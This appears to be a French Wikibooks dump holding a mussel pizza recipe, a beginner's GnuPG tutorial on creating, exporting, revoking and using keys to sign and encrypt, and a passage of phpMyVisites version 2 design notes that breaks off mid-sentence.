2006-06-28T11:07:12Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza aux moules]] == Ingrédients == *1 pâte à pizza *1 kg de moules *1 dl de crème *120g de mozzarella *1 échalote *5 cl de vin blanc *curry *persil == Préparation == #Nettoyer, gratter les moules puis les laver à grande eau. #Cuire les moules avec l’échalote ciselée, le persil haché, le vin blanc et le curry. #Décortiquer les moules après cuisson. #Faire une sauce avec le jus de cuisson en ajoutant la crème. La sauce doit être épaisse (rajouter si besoin est de la maïzéna). #Verser les moules dans la sauce. #Etaler la pâte et la disposer dans une tourtière. Répartir la sauce. Ajouter quelques dés de mozzarella. #Cuire à four chaud, 220°C pendant 15 à 20 minutes. [[Image:Pizza aux moules.jpg|200px]] GPG 4524 43939 2006-06-06T07:22:01Z 82.226.234.106 /* Créer ses clefs */ Bien que la méthode décrite se déroule sous Gnu/Linux, c'est la même que sous les autres systèmes. Attribuer une signature numérique à vos documents, mails et projets secrets ? Chiffrer ( = Crypter, mot franglais incorrect) un document encore plus secret, ou alors des photos qui montrent l'existence de votre frère jumeau caché ? ou simplement vos recettes de cuisine ? La parano's way of life n'est plus réservé aux pro de la programmation machine à chaud. En effet GPG (lisez : Gnu Privacy Gard) est un outil multi-fonctions libre et gratuit qui permet de signer et de chiffrer à peu prés tout ce qui se présente sous forme numérique (tout ce qui a un bit, si vous me passez l'expression). Je vous propose un petit didacticiel "in the molière's language" pour être un pro du chiffrement, impressionner vos collègues et vous faire aimer de votre boss sur vos incroyables et nouvelles connaissances sur la certification de données. Vous trouverez un excellent didacticiel à cette adresse : [http://gpglinux.free.fr/gpg.pdf http://gpglinux.free.fr/gpg.pdf] =Théorie= ==Chiffrement/Signature== Le chiffrement est la fonction la plus connue. Elle permet de rendre un document complètement illisible pour le commun des mortels qui ne connaît pas la phrase magique. Pour ce faire, le créateur de l'information chiffre ses données à l'aide d'un mot de passe convenu avec son interlocuteur, et ce dernier pourra retrouver les documents de son binôme rapidement - le tout - théoriquement - dans une totale intimité numérique. C'est une méthode qui fait souvent irruption dans les films d'espionnage, d'ailleurs je pense que GPG est connu pour cette fonction dont les néophytes ont dû abuser. Ce n'est pourtant pas la plus "intéressante". La signature d'information, c'est un peu le renouveau de la rareté sur internet . En effet, elle permet à un fichier d'être unique numériquement. Clairement, la signature numérique permet deux choses : vérifier que les informations reçues proviennent bien de la personne qui nous l'a envoyé et que ces mêmes informations sont reçues dans leur intégralité. Cela permet une multitudes de possibilités assez intéressantes dans de nombreux domaines. Je peux, grâce à ça m'assurer que les informations que je possède sont "authentiques", "officielles" et qu'elles n'ont pas été détournées par un tiers malveillant (ou même bienveillant soit dit en passant). Est ce utile pour le commun des mortels ? oui et non. Oui parce qu'il faut toujours avoir un système de confidentialité prêt à être utilisé, et non parce que l'utilisateur alpha n'a peut être pas besoin de savoir absolument si le message reçu vient bien du destinataire qui l'affirme. ==Intérêt et mise en garde== Bien sur la "parano way of life" peut en laisser beaucoup perplexes. A quoi peut servir le chiffrement à tout va ? Il faut bien comprendre que c'est l'utilisation de première vue qui peu dérouter un peu. Il y a une multitude d'utilisations dérivées possibles et pas que pour les « geeks ». Par exemple, la signature numérique peut servir de véritable "certificat d'authenticité" gageant de la provenance, de l'officialité et de l'intégralité de l'information obtenue. De là, on peut imaginer énormément de possibilités que ce soit de façon professionnelle comme pour les particuliers. Mais il y a quand même un brin de paranoïa. Il faut aussi ne pas oublier que le chiffrement/signature n'est pas qu'une question d'informatique. Autrement dit, il ne faut pas rester que sur le support informatique. Par exemple, concernant les mots de passe d'un document chiffré, ou les signatures publiques (voir plus bas), qu'il faut fournir à l'interlocuteur, il est peu utile de passer par un moyen informatisé comme le mail pour fournir les informations. Il vous faudra malheureusement accéder à un contact social physique dans une pièce au mur de béton armé pour fournir les précieuses information de base. Car rien n'est plus sûr que voir la personne pour convenir d'un mot de passe, ou donner la clef publique, si on veut rester totalement intègre face au principe. C'est blasphématoire de communiquer le mot de passe via mail, messagerie instantané .. bref n'importe quel intermédiaire informatique peu sécurisé. La sécurité totale du chiffrement, de la transmission d'information est globale dans tout son développement, il faut limiter les intermédiaires, et sécuriser les transmissions physiques/numériques. Je veux dire qu'il y a une forme de "relativisme" à adopter pour éviter de tomber dans le piège de l'informatique pour l'informatique et ne pas oublier que si on fait ça il y a une raison qui vient du monde réel. Maintenant que vous êtes averti, vous pouvez apprendre à vous en servir. ==Fonctionnement et principes== ===Le système de clefs=== GPG possède un système de clefs asymétriques. Bien que cela puisse paraître barbare, c'est assez simple mais il faut le comprendre pour bien utiliser l'ensemble. Lorsque que vous créez votre "profil" (c'est à dire, lorsque vous créez l'ensemble des données pour signer/chiffrer vos données de votre nom), deux clefs sont créées : la clef publique et la clef privée. La clef privée doit rester confidentielle. Elle vous permettra d'exporter votre profil sur d'autres machines, c'est elle qui contient toute les informations vous concernant (cryptées évidement). La clef publique est celle que vous devez fournir à vos correspondant. Elle permet à ces derniers de reconnaître l'authenticité de vos mails et de chiffrer des informations pour votre utilisation. Il faut savoir qu'une clef publique peut ne pas forcement être attribuée à une personne mais aussi à un groupe de personne (une personne morale). ====Signer==== Lorsque vous signez une information, vous tapez votre code. GPG crée un fichier unique associé à vos informations. Il est unique. Autrement dit si vous modifiez le document signé, le fichier de signature ne sera plus valide. Même dans le cas où vous modifiez le document et annulez les modifications, le fichier signature ne sera plus valide. Le fichier signature doit être fait avec la version finale du document à signer, il ne doit plus bouger d'un bit après la signature. Ensuite vous envoyez votre document à une personne. Cette dernière doit posséder votre clef publique. Elle se servira de cette dernière avec GPG pour vérifier que le document est (encore une fois au bit près) conforme à ce que vous lui avez envoyé et surtout à vérifier qu'il vient bien de vous (car vous seul pouvez générer ce fichier signature avec votre clef privée). Il y a véritablement une question d'unicité dans la signature numérique. Si le contenu signé est modifié ne serait ce que de rien du tout (il suffit de l'ouvrir souvent pour modifier les informations contenues), alors il ne sera plus authentique & certifié. Cette méthode n'empêche pas quiconque de lire le contenu, il permet de vérifier que ce contenu est authentique, et intégral à la version de celui qui l'a composé. A savoir : il existe des serveurs sécurisés pour stocker les clefs publiques. C'est plus pratique pour que n'importe qui puisse vérifier la validité du document. Vous pouvez aussi mettre ce fichier sur votre site internet, mais le plus sécurisé reste de transmettre la clef... par un contact social. ====Chiffrer==== Cette méthode permet de diffuser des informations qui, en plus d'être certifiées authentiques et intégrales, ne sont pas lisibles par quiconque. Lorsque vous chiffrez un document, vous spécifiez la clef publique appartenant à la personne (morale ou physique) qui est le destinataire. Seule cette personne (qui possède également le mot de passe) pourra déchiffrer les informations. Vous pouvez aussi chiffrer « dans le vide », c'est a dire que le fichier n'est pas destiné à quelqu'un, mais à toute personne connaissant le mot de passe, mais c'est évidement moins sécurisé. C'est donc beaucoup plus confidentiel. Bien que l'on puisse croire à première vue que c'est destiné à la communication entre deux seules personnes, ce n'est pas forcément vrai: un profil peut appartenir à un groupe de personne (association, entreprise) donc chaque ordinateur de ce groupe peut posséder le même compte, mais la sécurité est plus controversé dans ce cas là. ==Annexe== Il existe beaucoup d'applications qui utilisent GPG, et donc la signature et le chiffrement. La messagerie instantané Jabber, ou encore Mozilla Thunderbird avec son module enigmail pour les mails... tous ces logiciels facilitent l'utilisation des outils de GPG pour une utilisation courante. =Pratique= Il faut savoir que la majorité de l'initialisation se fait en ligne de commande (ici en tout cas). C'est ce que je préfère, dans la parano's way of life, on n'aime pas les interfaces graphiques. Mais vous en trouverez un large nombre qui vous faciliteront la vie. ==Créer ses clefs== Une fois GPG installé, vous pouvez créer vos clefs. C'est très simple, il suffit de lancer une console et taper : Citation : '''gpg --gen-key''' A partir de ce moment vous allez avoir un certain nombre de questions. *'''Le choix du chiffrement''' : le choix (1) DSA ou Elgamal sont conseillés. Même si vous ne faites que signer, je pense que c'est le choix à faire. *'''La longueur de la clef''' : Théoriquement, plus la longueur de la clef est grande, plus la sécurité est forte. Le standard étant 2048 et le maximum 4096. Plus la clef est longue, plus elle a du poids, il me semble pas que ce soit un soucis de nos jours où on parle d'avoir des connections à fibres optiques pour tous. Personnellement j'ai pris 4096 (parano's way of life). A savoir : plus la clef est longue, plus l'ordinateur a du mal à la générer: pendant la génération, pour qu'elle soit efficace et donne un résultat hautement sécurisé, il faut utiliser son ordinateur, bouger la souris, taper du texte, bref... "mettre des artefacts" pendant la génération. *'''Le temps de la clef''' : intuitivement, on aurait tendance à mettre "illimité". Pourtant, je ne pense pas que ce soit la bonne solution. Sachant que vous pouvez perdre votre clef privée, ou vous la faire voler, qui sait (on peut quand même révoquer publiquement une clef cf plus loin), ou tout simplement si vous oubliez votre mot de passe. Donc, le mieux pour la sécurité reste de prolonger régulièrement la durée de votre clef avant que celle-ci n'expire. Tout dépend de votre utilisation et de votre paranoïa quand au chiffrement de vos donnés. Il faut y réfléchir avant hein :o. *'''Identité''': toutes les questions de nom, email, commentaires (on met généralement le site). C'est important étant donné que ce sont les informations qui apparaîtront lors de la vérification des signatures. *'''Mot de passe''' : Forcément très important, l'idéal serait 3anc3dlk56nld12qn#@ius mais c'est pas très simple a retenir. Plus simple, une phrase relativement longue, avec des caractère spéciaux. Plus la complexité est grande, plus la sécurité est grande. Et ne pas oublier... de ne pas oublier ce mot de passe; auquel cas il faudra régénérer une clef (d'où l'utilité de créer des clef périodiques). A partir de ce moment, les clefs se génèrent. Dès qu'il n'y a plus de . et de + ,c'est que tout s'est bien passé. Il vous informe des informations concernant vos clef publique/privé et vous donne "l'empreinte". Cette empreinte permettra de retrouver votre clef publique dans le serveurs PGP pour une vérification plus aisée et automatique. ==Gérer son porte-clef== Gérer son porte clef, c'est exporter sa clef public pour la diffuser, exporter sa clef privée pour la sauvegarder, c'est aussi importer les clefs publiques de ses connaissances. Pour connaître la liste des clefs publiques que vous possédez : '''gpg --list-key''' Pour connaître la liste des clefs privées : '''gpg --list-secret-keys''' Pour supprimer une clef publique: '''gpg --delete-key la-clef-publique''' Et pour la clef privée : '''gpg --delete-secret-key la-clef-privée''' ===Export=== Pour que vos amis super secrets puissent vérifier la validité des informations que vous leur envoyez, il faut leur donner la clef publique ! '''gpg --export --armor votre-clef > ~/clefpublique.asc''' Cette commande génèrera un fichier .asc qui est finalement un fichier texte. De là, plusieurs solutions s'offrent à vous. *Soit vous la transmettez à un serveur sécurisé (comme http://pgp.mit.edu) en faisant un copier coller du fichier texte produit dans la fenêtre mise à disposition sur ledit site. Cela permettra à tous de s'y référer de façon rapide. *Soit vous mettez ce fichier sur votre site internet personnel, et vous donnez le lien. Cette méthode n'est pas très sûre pour une multitude de raisons. Par contre elle permet de mettre à jour régulièrement la clef et donc d'assurer un changement simple et régulier. *''Mano a Mano'', méthode la plus sécurisé : vous donnez vous même le fichier à la personne qui désire vous identifier - par contact social (argh !) sur une clef USB que vous avez pris soin de chiffrer avec un mot de passe de 10 lignes que vous indiquez à la personne à ce même moment, dans le parking d'un centre commercial aux alentours de 2h du matin. Vous l'aurez compris, il faut limiter absolument le nombre d'intermédiaires non sécurisés. Rien que l'export en fichier sur votre disque n'est pas sécurisé ! Pour cela il existe une commande qui permet d'exporter votre clef de façon securisée directement sur le serveur : '''gpg --send-keys --keyserver pgp.mit.edu clef-publique''' ===Import=== Un fois crée, vous ou vos collègues de la DST doivent pouvoir mettre la clef publique dans leur trousseau de clef ! Vous récupérez le fichier asc en question et faites tout simplement : '''gpg --import clef.asc''' Après, faites un petit --list-key pour vérifier qu'elle est bien présente. Il faut savoir un petit détail pour les étourdis, si vous perdez votre clef privée, vous ne pourrez pas la retrouver en ré-important votre clef publique. Il faut exporter votre clef privée mais là ce n'est hautement pas sécurisé : il faut chiffrer le fichier ASC avec un mot de passe que vous n'oublierez jamais, ou mieux se l'imprimer si vous avez un scanner capable de faire de l'OCR, ou le cacher dans un autre fichier... bref vous l'aurez compris, exporter sa clef privée n'est pas une bonne chose, il vaut mieux prendre ses précautions (clef périodique, faire une clef pour révoquer, avoir un système stable et durable etc..) Pour pouvoir ré-importer sa clef privée, il faut l'exporter avec la commande suivant : '''gpg --export-secret-key -a > fichier''' et l'importer avec cette commande : '''gpg --import --allow-secret-key-import fichier''' Cette opération est relativement peu sécurisée, il vaut mieux l'éviter. ===Détruire sa clef=== Pour une raison ou une autre on peut regretter sa clef. Et vous l'avez diffusée sur tous les serveurs ! Il existe un moyen simple : il faut révoquer votre clef. Autrement dit vous créez une clef qui, mise sur les même serveurs, "annoncera" la fin de validité de votre clef publique. Très pratique quand on a créé une clef à durée de vie illimitée. '''gpg --gen-revoke votre-clef''' Elle créera un certificat pour révoquer votre clef, à mettre ensuite sur les serveurs de clefs. Autant vous dire qu'il est intelligent de créer ce certificat avant que vous en ayez besoin. Il est aussi important de ne pas le dévoiler même si c'est moins important que la clef privée (on ne pourra pas signer à votre place, mais on pourra vous empêcher de signer). Ensuite pour l'appliquer, vous importez le fichier via : '''gpg --import fichier''' Et ensuite exportez la au serveur de clefs : '''gpg --keyserver pgp.mit.edu --send-keys votreclef''' Si tout s'est bien passé, votre clef est maintenant invalide. ==Signer ses informations== Nous attaquons une partie intéressante: la signature électronique ! Il existe deux méthodes, il faut étudier laquelle convient le mieux à votre utilisation. ===Avec un fichier joint=== Pour signer un fichier, il faut taper : '''gpg --default-key votre-clef --armor --detach-sign fichier''' Cela créera un fichier portant le même nom que celui à signer avec une extension *.asc. Ensuite il vous suffira d'envoyer votre fichier avec lequel vous allez joindre le fichier *.asc. Pour vérifier que le fichier est certifié authentique, il suffit de taper (si bien sur vous avez la clef publique de votre correspondant) : '''gpg --verify fichier.asc fichier''' ===Signature intégrée=== Vous pouvez intégrer dans le fichier même (par exemple les message, les fichier textes, etc.), la signature électronique. Pour cela : '''gpg --default-key votre-clef --clearsign fichier''' La signature se trouvera à l'intérieur du fichier. Vous le remarquerez rapidement, votre texte sera entouré des balises GPG avec le morceau de la signature. Pour vérifier l'authenticité : '''gpg --verify le-fichier-signé''' Bien sûr, c'est la version manuelle ; des logiciels font ce genre de travail parfaitement, comme enigmail pour signer les mails. ==Chiffrer ses informations== ===Methode via clefs=== Allons y ! Produisons des fichiers hautement sécurisés (du moins théoriquement). '''gpg --recipient la-clef-du-receptionneur --encrypt fichier''' Cela vous pondra un fichier .gpg illisible de façon binaire. Mais vous pouvez chiffrer l'information de façon ascii, souvent plus recommandé, de cette façon : '''gpg --recipient clef-du-receptionneur --armor --encrypt fichier''' À ce moment là, vous aurez un fichier *.asc, qui est lisible par un éditeur de textes, mais bien sûr incompréhensible. C'est plus conseillé puisque plus souple, vous pouvez faire un copier coller du fichier via mail ou autre, s'il est chiffré en ascii. Les deux façons sont aussi sécurisées l'une que l'autre. Mais la première est moins gourmande en poids (relatif) et la seconde est plus simple d'exportation. Dans les deux cas, seule la personne possédant la clef indiquée dans la commande pourra déchiffrer les informations. Pour déchiffrer : '''gpg --decrypt fichier > fichier''' Tout simplement, il demandera le mot de passe de l'utilisateur et transformera le fichier.gpg en fichier lisible. ===Méthode de chiffrement symétrique=== Autre moyen de chiffrer / déchiffrer: Le chiffrement symétrique, c'est à dire qui n'utilise pas le système de clefs publique/privée, on vous demande un mot de passe que votre interlocuteur doit connaître. '''gpg -c fichier''' pour chiffrer '''gpg -d fichier.gpg -o fichier''' pour déchiffrer. Rappelons que la meilleure façon de donner un mot de passe à quelqu'un, c'est par un contact SOCIAL ! [[pl:GnuPG]] Documentation phpMyVisites/Réflexions version2 4525 27821 2005-12-28T16:18:16Z 86.192.166.84 /* Documentation technique */ <big><span style="color:#FF0000;"> N'hésitez pas à modifier le document, si vous avez des précisions à apporter, des réponses ou des suggestions. </span></big> <big><span style="color:#FF0000;"> C'est simple : '''''enregistrez vous sur WikiBooks (lien en haut à droite)''''', et participez !</span></big> = Introduction = == Histoire == phpMyVisites est depuis 1 an et demi en version 1.x. La structure actuelle n'est pas adaptée pour répondre aux exigences toujours plus importantes des utilisateurs, amateurs, confirmés ou entreprises. La structure de la base n'est pas assez souple, évolutive. La structure du code n'est pas modulaire. Il n'est pas facile de faire des modifications sur le code source, de déveloper des skins. Nous souhaitons développer une version 2 de phpmyvisites, qui aura des fonctionnalités importantes en terme d'évolutivité et de souplesse. Bien sûr nous réutiliserons des parties importantes de l'actuel phpMyVisites qui fonctionnent bien (traductions, design de l'interface, présentation générale, bases de données des moteurs, etc.). Mais il est obligatoire de faire un travail de fond sur la base de données, les fichiers, la gestion des données, l'architecture générale. Cette version 2 représente un travail très conséquent, et nous avons besoin de l'aide de spécialistes pour nous aider dans nos choix techniques, nos réflexions, pour donner des bonnes idées ou nous conseiller sur ce qu'il faut faire et ne pas faire. Ce wiki est l'endroit idéal pour que chacun puisse s'exprimer. Vous pouvez le compléter librement, après vous être enregistré. Bonne lecture !! == Objectifs == PhpMyVisites a pour objectif de devenir l'outil de statistiques nouvelle génération le plus complet, rapide, puissant et évolutif. Pour cela l'équipe de développement s'engage à suivre les 10 commandements suivants : * '''Reliable (fiable)''' :phpMyVisites sera fiable, ne provoquera aucune perte de données. Un outil de sauvegarde/restauration sera disponible par la suite pour prévenir tout problème. * '''Scalable''' (évolutif) :phpMyVisites saura s'adapter à des audiences de toutes tailles. phpMyVisites saura tenir la charge et assurera une rapidité maximale, via un système d'archivage complexe et une optimisation des traitements et calculs sur les données. * '''Secure (sécurisé)''' :phpMyVisites sera protégé de toute forme de hacking, que ce soit par des visiteurs anonymes ou des membres enregistrés avec des privilèges. La sécurité est une priorité majeure de l'équipe de développement. * '''Flexible (flexible) ''' :phpMyVisites proposera un système de thèmes, qui permettra de fournir des rapports avec des apparences différentes pour répondre aux besoins de chaque type d'utilisateurs. Le contenu des rapports pourra également être facilement modifié. * '''Modular (Modulaire) ''' :phpMyVisites sera découpé en parties fonctionnelles, chacune étant le plus indépendante possible du reste de l'application. L'ajout de nouvelles fonctionnalités sera facilitée, que ce soit au niveau de l'intégration code ou base de données, et de l'affichage. * '''Localizable (traduisible) ''' :phpMyVisites sera entièrement traduisible et gérera les spécificités de chaque langue. Le système de traduction sera simple et il sera très rapide d'ajouter une nouvelle langue. * '''Intuitive (intuitif)''' :phpMyVisites sera facile à installer, facile à utiliser. Les utilisateurs pourront facilement tirer d'importantes conclusions sur l'activité de leur site Internet et sur l'intérêt de leurs visiteurs. Les utilisateurs avancés pourront exploiter les fonctionnalités complexes de phpMyVisites pour des analyses encore plus fines. * '''Portable (portable)''' :phpMyVisites fonctionnera avec des exigences techniques de compatibilité importantes : register_globals Off, error_reporting E_ALL, ne dépendra pas du serveur utilisé, ne dépendra pas du système d'exploitation utilisé, sera compatible avec des versions anciennes de php. == Release Early, release Often == Suivons les grandes idées du développement du logiciel libre. On publiera des versions bêta le plus régulièrement possible cet été pour que les testeurs ne s'ennuient pas. Egalement : 18. To solve an interesting problem, start by finding a problem that is interesting to you. 6. Treating your users as co-developers is your least-hassle route to rapid code improvement and effective debugging. '''''7. Release early. Release often. And listen to your customers.''''' '''''8. Given a large enough beta-tester and co-developer base, almost every problem will be characterized quickly and the fix obvious to someone.''''' 9. Smart data structures and dumb code works a lot better than the other way around. 10. If you treat your beta-testers as if they're your most valuable resource, they will respond by becoming your most valuable resource. 11. The next best thing to having good ideas is recognizing good ideas from your users. Sometimes the latter is better. 12. Often, the most striking and innovative solutions come from realizing that your concept of the problem was wrong. 13. ``Perfection (in design) is achieved not when there is nothing more to add, but rather when there is nothing more to take away.'' 14. Any tool should be useful in the expected way, but a truly great tool lends itself to uses you never expected. 15. When writing gateway software of any kind, take pains to disturb the data stream as little as possible—and never throw away information unless the recipient forces you to! 17. A security system is only as secure as its secret. Beware of pseudo-secrets. 19: Provided the development coordinator has a communications medium at least as good as the Internet, and knows how to lead without coercion, many heads are inevitably better than one. = DeadLine prévue = == Beta 1, Codename "Ouf" (10 octobre) == Premiere release publique == Beta 2, Codename "buggyTrip" (date prévue : 29 Octobre) == * correction bug beta1 * gestion multi users / groups puissante * premiere implémentation des graphiques == Beta 3 (date prévue : 6 Novembre) == * correction bugs beta 2 * graphiques des statistiques via artichow (tous implémentées, 6 types de graph) == Beta 4 (date prévue : 13 Novembre) == * gérer les fichiers ds le tableau des pages ou séparément * correction bugs beta 3 * cookie d'exclusion du webmaster * gérer les variables par page == Beta 5 (date prévue : 20 Novembre) == * correction bug beta 4 * Module assurant le lancement des calculs des données automatiquement, lancés par les visiteurs lors de leur visite sur phpmyvisites.php (archive ts les sites, tts les périodes, calcule et envoie les mails) * ajouter choix logo par site * cleaner présentation module admin * version anglaise parfaite * pouvoir choisir de sender le résumé des sites pour l'envoi (seulement sites autorisés !) * gestion fine des emails d'envoi (par utilisateur, fréquence d'envoi, etc.) == Plus tard == * module de conversion des stats de phpmv 1.x vers 2.x * pouvoir choisir le site sur lequel on arrive par défaut OU sur le résumé = Documentation de phpMyVisites v2 = == Une documentation qui soit modulaire, réutilisable ! == Dans ce domaine tout reste à faire. L'idée est de faire une documentation utilisateur très complète, facile à comprendre, et surtout réutilisable. En effet à long terme nous aimerions que les éléments de l'interface de phpmv soient cliquables, et le clic ouvre la partie de la doc concernée. Par exemple un clic sur [?] au dessus d'un graph ouvre une pop up ou charge dans la page l'explication de ce graph, en 2 parties : * "Résumé" qui explique en une phrase ce que donne cet élément comme information * "Analys" qui explique comment analyser correctement les données de cet élément == Documentation générale == * Présentation succinte * Installation et Mise à jour :* Configuration requise :* Etapes de l'installation ::* Téléchargement et upload de phpMyVisites ::* Phase d'installation web guidée ::* Insertion du code Javascript sur les pages du site à auditer :* Mettre à jour depuis une ancienne version * Fonctionnalités générales :* Nommer les pages :* Classer les pages par groupes :* Intérêts de visites par critères :* Exclusion des faibles populations :* Variables modulaire par page :* Affluent de type newsletter :* Affluent Site partenaire :* Archivage :* Statistiques par mail :* Statistiques par fil RSS :* Multi-Sites :* etc. * Fonctionnalités des rapports de mesure d'audience :* Visites :* Pages vues :* Fréquence de visites :* Provenance :* Configuration :* Affluents :* Résumé multi-sites * Administration :* * Sécurité :* PHP :* MySQL * Traductions :* Traductions disponibles (avec traducteurs) :* Ajouter une nouvelle traduction :* Corriger et compléter une traduction existante * Support :* Documentation :* FAQ :* Forums :* BugTracker * A propos :* Licence du logiciel :* Licence de la documentation :* Historique :* Equipe de développement == Documentation technique ==salut * s'occuper de générer la doc du code via phpdoc (il faut un responsable pour ça) * générer un schéma à jour du MCD * décrire l'arborescence fichiers * donner les standards respectés * faire un appel générale à la communauté pour wikifier, pour corriger/ajouter des bouts de docs = Général = == Fonctionnalités == *fort respect des standards (XHTML strict, CSS2) *Garder la compatibilité avec le maximum de navigateurs en respectant les normes *compatible php > 4.3 et compatible php 5 '''(je ne peux pas faire les tests personnellement qq1 devra s'en charger !)''' *compatibilité avec la majorité des hébergeurs disponibles *maintenir la forte internationalisation i18n *respecter la séparation CONTENU / AFFICHAGE (Smarty & CSS) * compatible ''''register_globals'''' sur ''''OFF'''' '''''évidemment''''' * aucune erreur en mode ''''error_reporting(E_ALL);'''' * OS indépendant (unix, windows, mac) et Serveur indépendant (apache, IIS, etc.) *il doit être possible d'inclure phpmyvisites dans une interface tierce, via un système simple et non contraignant. == Documentation du code == * PhpDocumentor : http://www.phpdoc.org/ * Liste des éléments reconnus par phpDocumentor http://manual.phpdoc.org/HTMLSmartyConverter/default/phpDocumentor/tutorial_elements.pkg.html * Exemple dans PEAR http://pear.php.net/manual/en/standards.sample.php = Questions / réponses = == Abstraction BDD par Adodb (choix final) == Nous allons certainement utiliser Adodb pour l'abstraction BDD. Le principe sera : - rester au plus près des appels natifs pour l'enregistrement des logs, on devra donc écrire les requetes utilisées pour les logs pour chaque serveur de base de données séparément dans des fichiers séparés, sachant que les requetes sont normalement standards. - pour tout le reste de l'appli, on utilise Adodb Ce choix fait suite à des benchs et rapports de fonctionnalités que je publierai peut être au propre un jour. Nous mettions en comparaison pear:db, adodb, adodblite, et mysql natif. ==Comptabilisation des moteurs de recherches via un système de log parallèle== Voir discussion sur http://fr.wikibooks.org/wiki/Documentation_phpMyVisites/R%C3%A9flexions_version2/SearchEnginesDetection ==Sauvegarde et restauration des données par un système simple== Dans l'administration, un lien « Sauvegarder la base de données » entraine la création d'un fichier .gz sur le serveur, librement téléchargable par l'utilisateur. Cette archive contient un DUMP de la base. Dans l'adminstration, un lien « Restaurer la base de données » permet la lecture de ce GZ et la restauration des données du DUMP. A réfléchir pour une compatibilité avec toutes les bases de données (ça ne doit pas être évident ?). Le générateur de DUMP doit à mon avis ne pas dépendre de la structure de la bdd et doit être générique (il lit tout seuls les tables avec un prefixe xxx_ et les champs et créé le fichier). == Export OOo == Utiliser du format open document pour l'export des données (compatible koffice, OO 2, etc.) Voir les classes à utiliser puor faire ça :La classe tbsOOo est une extension du moteur de template TinyButStrong. :Elle permet de générer dynamiquement des documents OpenOffice en séparant présentation et données. :En pratique, il suffit de concevoir un document avec OpenOffice qui servira de modèle (template). :Ensuite à partir du script PHP il reste à fusionner ce modèle avec une source de données pour obtenir un nouveau document OpenOffice. :http://www.tinybutstrong.com/apps/tbsooo/doc_fr.html == Autres Q/A == * Comment sont gérées les préférences des utilisateurs en matière de templates ? : >> le choix du template peux être garder en session ou dans un cookie. ::Après plus de reflexion, je pense que le template par défaut doit être dans le fichier de conf de phpMyVisites. Ensuite si on veut laisser le choix à l'utilisateur de changer de template, jé préconise les cookies, les sessions sont gourmandes en ressource et les cookies permettent de garder le choix d'une session à l'autre. ''Marco'' * Comment gérer proprement les erreurs génériques dans toute l'application ? : >> Une fonction que l'on accroche via set_error_handler() et qui crée une file de message d'erreur affichables dans les templates. :: bonne idée ta fonction. Il faudra la développer. Comment vois tu la chose ? [[Utilisateur:Matthieu|Matthieu Aubry]] 21 jul 2005 à 00:24 (UTC) = Architecture = == Général == [[Image:structure_schema.png|Schéma de l'architecture de l'application]]<br/> == Base de données == [[Image:Phpmyvisites_database_structure.png|Schéma de l'architecture de la base de données]]<br/> = Coding Standard = http://fr.wikibooks.org/wiki/Documentation_phpMyVisites/CodingStandard =Nouvelles fonctionnalit&eacute;s (liste non d&eacute;finitive)= <p> <I>Des fonctionnalit&eacute;s (parmi les moins importantes) ne seront peut &ecirc;tre pas d&eacute;velopp&eacute;es si il manque du temps.</I></FONT></P> ==Fonctionnalit&eacute;s globales== ===Int&eacute;r&ecirc;ts de visites=== <p>On peut analyser les int&eacute;r&ecirc;ts des visiteurs (indicateurs d&eacute;finis) selon divers crit&egrave;res caract&eacute;risant ce visiteur.<BR><BR><BR> </P> <p><B>Crit&egrave;res :</B></P> <UL> <LI><p>par type d'acc&egrave;s (moteur, site, partenaire, newsletter, direct)</P> <LI><p>par mot cl&eacute;</P> <LI><p>par moteur</P> <LI><p>par site affluent</P> <LI><p>par partenaire</P> <LI><p>par newsletter</P> <LI><p>par pays</P> <LI><p>par continent</P> <LI><p>par OS</P> <LI><p>par navigateur</P> <LI><p>par r&eacute;solution</P> <LI><p>par heure locale</P> <LI><p>(par page d'entr&eacute;e)</P> </UL> <p><B>Indicateurs (informations) disponibles :</B></P> <UL> <LI><p>pages vues par visite</P> <LI><p>pages vues par visite significatives</P> <LI><p>taux de visites &agrave; une page</P> <LI><p>dur&eacute;e de visites</P> <LI><p>fr&eacute;quence de visites</P> </UL> Ex : combien de pages en moyenne ou de temps en moyenne restent les gens - francais - américains - qui viennent de google - de yahoo - ou qui ont tappé comme mot "toto" - ou 'titi' ===Nommer les pages=== <p>Possibilit&eacute; de nommer les pages, via une variable dans le code javascript, de la forme par exemple :</P> <p>var pagename = &quot;Mon_titre&quot;;</P> <p>var pagename = &quot;groupe1&gt;groupe2&gt;mon_titre&quot;;</P> <p>var pagename = &quot;groupe1&gt;mon_titre&quot;;</P> <p>Cette convention de nommage demande un temps d'adaptation au site sur lequel phpmyvisites est install&eacute; mais propose une tr&egrave;s grande facilit&eacute; de maintenance (voire aucune maintenance, normalement), et une &eacute;volution (si le site &eacute;volue largement) tr&egrave;s ais&eacute;e.</P> <p>A noter que l'on peut r&eacute;cup&eacute;rer le contenu de la balise &lt;title&gt;[..]&lt;/title&gt; pour l'assigner automatiquement &agrave; cette variable, pour encore plus de facilit&eacute; de mise en place.</P> <p>Si la variable pagename n'est pas renseign&eacute;e, l'URL est enregistr&eacute;e (avec possibilit&eacute; d'exclure certains param&egrave;tres de cette URL).</P> <p>Le nommage de pages est tr&egrave;s important. Il peut par exemple permettre de savoir quelles actions pr&eacute;cises sont effectu&eacute;s sur un module donn&eacute;.<BR>Il peut permettre de conna&icirc;tre l'&eacute;tat d'avancement de l'acte d'achat sur un site de commerce (mise dans le panier, validation commandes, saisies coordonn&eacute;es, paiement). On peut alors facilement visionner le taux d'abandon &agrave; chaque &eacute;tape.</P> ===Groupes de pages=== <p>Possibilit&eacute; de classer dynamiquement les pages dans des groupes de pages. N niveaux de groupes sont disponibles.</P> <p>var pagename = &quot;groupe1&gt;groupe2&gt;mon_titre&quot;;</P> <p>Possibilit&eacute; d'avoir les stats par groupe de pages (nombre de consultation du groupe).<BR>Nombre de consultation par groupe d'entr&eacute;e, par groupe de sortie (statistiques d&eacute;j&agrave; pr&eacute;sentes pour les pages).</P> <p><B>IHM </B>: Elle doit &ecirc;tre simple, clair, accessible. On doit pouvoir voir tous les groupes, &eacute;ventuellement avec AJAX pour un chargement rapide et efficace (et joli<SPAN STYLE="font-weight: medium">). </SPAN><B>&agrave; d&eacute;finir... </B> </P> : possibilité que le > délimiteur soit un / facilement. On peut alors séparer les grands themes du site si le siteest organisé par répertoire. POwerFULL !! === D&eacute;finition de variables modulaires par page=== <p>Nouveaut&eacute; qui permet &agrave; phpMyVisites <I>de r&eacute;pondre a priori &agrave; tout probl&egrave;me, m&ecirc;me tr&egrave;s sp&eacute;cifique</I>. Le principe est simple : des variables (4 pour l'instant) sont dites &laquo; libres &raquo; et sont donc d&eacute;finissables par 